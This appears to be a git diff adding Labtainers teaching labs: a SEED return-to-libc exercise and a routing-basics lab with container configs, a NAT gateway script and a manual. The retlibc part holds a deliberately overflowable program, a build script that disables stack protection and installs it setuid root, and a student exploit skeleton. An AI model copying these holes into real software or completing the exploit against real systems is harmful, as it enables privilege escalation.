b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/_bin/fixlocal.sh new file mode 100755 index 000000000..9f4d73737 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/_bin/fixlocal.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# 1. Remove /bin/sh (default is soft-linked to /bin/dash) +sudo rm -f /bin/sh + +# 2. Re-create /bin/sh (soft-linked to /bin/zsh instead) +sudo ln -s /bin/zsh /bin/sh +cd $HOME +gcc -g -m32 -o retlib -fno-stack-protector -z noexecstack retlib.c +sudo chown root:root retlib +sudo chmod 4755 retlib + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/compile_exploit.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/compile_exploit.sh new file mode 100755 index 000000000..27813b44a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/compile_exploit.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Compile programs associated with the SEED return to libc lab. +# +# +# +# Program that writes the "bad file". +# This is the program the student modifies to craft the +# bad file to cause the buffer overflow. +# +gcc -m32 -o exploit exploit.c diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/exploit.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/exploit.c new file mode 100644 index 000000000..965b212fe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/exploit.c @@ -0,0 +1,21 @@ +#include +#include +#include +int main(int argc, char **argv) +{ + char buf[80]; + FILE *badfile; + + badfile = fopen("./badfile", "w"); + + /* You need to decide the addresses and + the values for X, Y, Z. The order of the following + three statements does not imply the order of X, Y, Z. + Actually, we intentionally scrambled the order. */ + *(long *) &buf[X] = some address ; // "/bin/sh" + *(long *) &buf[Y] = some address ; // system() + *(long *) &buf[Z] = some address ; // exit() + + fwrite(buf, sizeof(buf), 1, badfile); + fclose(badfile); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/retlib.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/retlib.c new file mode 100644 index 000000000..99498f3f1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/retlib.c @@ -0,0 +1,28 @@ +/* This program has a buffer overflow vulnerability. */ +/* Our task is to exploit this vulnerability */ +#include +#include +#include + +int bof(FILE *badfile) +{ + char buffer[MY_BUF_SIZE]; + + /* The following statement has a buffer overflow problem */ + fread(buffer, sizeof(char), 80, badfile); + + return 1; +} + +int main(int argc, char **argv) +{ + FILE *badfile; + + badfile = fopen("badfile", "r"); + bof(badfile); + + printf("Returned Properly\n"); + + fclose(badfile); + return 1; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/config/about.txt new file mode 100644 index 000000000..09a31e163 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/config/about.txt @@ -0,0 +1 @@ +A simple routing example with two LANs and an internet connection via NAT diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/config/start.config new file mode 100644 index 000000000..14d752e03 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/config/start.config @@ -0,0 +1,88 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER ws1 + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED ws1_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK LAN1 + MASK 192.168.1.0/24 + GATEWAY 192.168.1.101 +NETWORK LAN2 + MASK 192.168.2.0/24 + GATEWAY 192.168.2.101 +NETWORK WAN + MASK 203.0.113.0/24 + GATEWAY 203.0.113.101 +NETWORK ISP_GW + MASK 10.10.0.0/24 + GATEWAY 10.10.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER ws1 + # user name of user who interacts with the container. + USER harry + LAN1 192.168.1.1 + TERMINAL_GROUP users + + +CONTAINER ws2 + # user name of user who interacts with the container. + USER mary + LAN2 192.168.2.1 + TERMINAL_GROUP users + + +CONTAINER gateway + # user name of user who interacts with the container. + USER admin + LAN1 192.168.1.10 + LAN2 192.168.2.10 + WAN 203.0.113.10 + + +CONTAINER ws3 + # user name of user who interacts with the container. + USER larry + LAN2 192.168.2.2 + TERMINAL_GROUP users + + +CONTAINER isp + # user name of user who interacts with the container. + USER admin + WAN 203.0.113.1 + ISP_GW 10.10.0.1 + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals isps to 1 + # + TERMINALS -1 + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.gateway.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.gateway.student new file mode 100644 index 000000000..5916486e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.gateway.student @@ -0,0 +1,61 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.isp.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.isp.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.isp.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.ws1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.ws1.student new file mode 100644 index 000000000..5916486e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.ws1.student @@ -0,0 +1,61 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.ws2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.ws2.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.ws2.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.ws3.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.ws3.student new file mode 100644 index 000000000..837c67bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/dockerfiles/Dockerfile.routing-basics.ws3.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/Makefile new file mode 100644 index 000000000..319bea6a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/Makefile @@ -0,0 +1,8 @@ +routing-basics.pdf: routing-basics.tex header.tex + latex routing-basics + pdflatex -jobname=routing-basics routing-basics + pdflatex -jobname=routing-basics routing-basics + +clean: + rm -fr auto + rm -f routing-basics.aux routing-basics.log routing-basics.pdf routing-basics.dvi routing-basics.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/read_first.txt new file mode 100644 index 000000000..906ac4960 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/routing-basics.pdf + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics.jpg new file mode 100644 index 000000000..ee5da88ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics.odg new file mode 100755 index 000000000..9d4d5fe8e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics.tex new file mode 100644 index 000000000..eff541542 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/docs/routing-basics.tex @@ -0,0 +1,129 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Routing Basics} +\vspace{0.1in}\\ +\end{center} + +\copyrightnotice + +\section{Overview} +This exercise explores basic network routing concepts +in a Linux environment. These include use of the \texttt{route} +command, defining a DNS server in the /etc/resolv.conf file, +and using Network Address Translation (NAT). + +This exercise, (and manual), is not intended to replace instruction +or independent reading on the topic of network routing and +routing in Linux systems. The exercise is intended to provide +students with an environment with which they can experiment +with the mechanics of routing network traffic. + + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer routing-basics +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +\section{Network Configuration} +This lab includes four networked computers as shown in Figure~\ref{fig:topology}. +When the lab starts, you will get four virtual terminals, one connected to each +component. +The gateway is configured to perform routing between LAN1 and LAN2, and to +route external addresses to an external gateway, e.g., to reach the Internet. +The ws1 and ws2 workstations are pre-configured to route traffic to the gateway +component. The ws3 workstation is not yet configured for routing. + +The gateway is configured to use NAT to translate +sources addresses of traffic from internal IP addresses, e.g., 192.168.1.1, to +our external address, i.e., 203.0.113.10. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{routing-basics.jpg} +\end{center} +\caption{Network topology for routing-basics lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +\subsection{Internal Routing} +From each of the three workstations, enter the following command: +\begin{verbatim} + route -n +\end{verbatim} +\noindent Note how ws1 and ws2 include routing table entries that name the +gateway as the \textit{default gateway}. This allows ws1 and ws2 to address each other, which +can be demonstrated by using \texttt{ping} from ws1 to reach ws2: + +\begin{verbatim} + ping [ws2 IP] +\end{verbatim} + +Now consider ws2 and ws3. Since they are both on the same LAN, they can ping +each other. Try that for yourself. Then try to ping ws1 from ws3. That will +fail because ws3 has no routing table entry defining what to do with traffic +that is not destined for a LAN directly connected to ws3. + +On ws3, define the gateway component as the \textit{default gateway} using the +\texttt{route} command, but this time using \texttt{sudo} because we are altering the routing: + +\begin{verbatim} + sudo route add default gw [gateway IP] +\end{verbatim} +\noindent Then try to ping between ws1 and ws3. + +\subsection{Routing to the Internet} +The gateway component is configured to route to a simulated ISP at 203.0.113.1, which +is a hidden component that provides routing to the Internet for this lab. From ws2, +try to ping www.google.com. Then do the same from ws3. The problem with ws3 is that +it has no domain name service (DNS) definition. Note, routing from ws3 to the Internet +works fine, which you can confirm by pinging the IP address of www.google.com (as displayed +when you pinged from ws2). The ws3 component simply lacks a DNS definition. +On ws2, the DNS is defined to be the +gateway component, and this is achieved in the \texttt{/etc/resolv.conf} file \footnote{ +Many Linux systems include tools for defining your DNS, and these tools will overwrite +the resolv.conf file. That is not an issue in these labs}. If you +modify that file on ws3 to match that of ws2, that will tell ws3 to use the gateway +as its DNS. + +\subsection{Use of Network Address Translation (NAT)} +Finally, review how the gateway component implements NAT using the \texttt{iptables} +utility. Consider traffic from ws1 destined for www.google.com. The source IP address +on those packets is 192.168.1.1. The ws1 component sends the packets to its default +gateway, i.e., our gateway component. The gateway routing table is configured to +send external traffic to 203.0.113.1. However, before that traffic is sent, we need +to translate the source IP address to our exernal 203.0.113.10 address so that google knows +where to send replies. +Use this command: +\begin{verbatim} + sudo iptables -L -v -t nat +\end{verbatim} +\noindent to view our NAT rule, having a target of \texttt{MASQUERADE}, which will translate +source addresses for all traffic destined for our external network interface. Then use +this command: +\begin{verbatim} + sudo iptables -L -v +\end{verbatim} +\noindent to see that we are forwarding traffic received from the two LANs. + +Our iptables NAT rules are defined in the /etc/rc.local file on the gateway component. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab routing-basics +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/gateway/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/gateway/_bin/fixlocal.sh new file mode 100755 index 000000000..438e7ffb1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/gateway/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/gateway/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/gateway/_system/etc/rc.local new file mode 100755 index 000000000..02bd0668d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/gateway/_system/etc/rc.local @@ -0,0 +1,27 @@ +#!/bin/bash +route delete default +route add default gw 203.0.113.1 +# +# get ethernet device names for the three interfaces +# +lan1=$(ifconfig | grep -B1 "inet addr:192.168.1.10" | awk '$1!="inet" && $1!="--" {print $1}') +lan2=$(ifconfig | grep -B1 "inet addr:192.168.2.10" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:203.0.113.10" | awk '$1!="inet" && $1!="--" {print $1}') +# +# Define NAT for traffic from LANs to the WAN +# +iptables --flush +iptables -t nat --flush +iptables --delete-chain +iptables -t nat --delete-chain +iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +iptables --append FORWARD --in-interface $lan1 -j ACCEPT +iptables --append FORWARD --in-interface $lan2 -j ACCEPT +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# + +echo "nameserver 203.0.113.1" > /etc/resolv.conf +route del -host 172.17.0.1 +systemctl restart dnsmasq + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/gateway/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/gateway/_system/sbin/faux_init new file mode 100755 index 000000000..e33f13baa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/gateway/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- 